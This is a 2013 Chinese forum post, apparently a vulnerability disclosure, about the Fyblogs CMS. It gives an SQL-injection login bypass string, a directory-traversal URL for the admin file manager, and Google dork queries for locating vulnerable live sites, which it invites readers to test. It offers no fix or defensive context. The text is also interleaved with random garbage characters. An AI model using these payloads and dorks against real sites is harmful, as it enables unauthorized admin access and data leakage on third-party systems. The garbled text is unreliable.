漏洞类型： 未授权访问/权限绕过" ]3 i* a9 |: @
}5 U5 s- H. v. Z) w
简要描述：" j# Y3 x) o, o, O
% ~; b% Z8 o$ `+ D/ |+ gFyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
1 j: p* c! S5 {; l$ f* P: K3 x9 W9 Q
详细说明：1 Z1 }" G9 n: L' C+ ~, n
! ?& D# g3 B4 }+ Z/ C
后台万能密码 'or'='or'- ]7 Y- N( d: H" y7 N' ^
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
1 l7 N$ r( H6 r( U. {0 fadmin/uploadfile.asp?currentFolder=/upfiles/../
9 `' k( \( l @$ T5 ~
# V. ^& v% o7 }9 v7 n漏洞证明：
j$ w' E' w6 y0 z! N9 B
* m2 [' t, e ] C9 p. w谷歌：inurl:type.asp?id=1 新闻中心3 ?1 L. k8 a# w2 `0 u
或者 ：inurl:download_ok.asp?1 Q) U; X+ O, q8 A; E; }, N& U
; n, u- x2 y0 v5 }- V& a可以测试
' d- [# b7 [/ b
* i i, w( c( X$ y' V
0 i" C' T( q" M O- K$ a4 H |
发表于 2013-3-7 13:07:46
收藏
支持
反对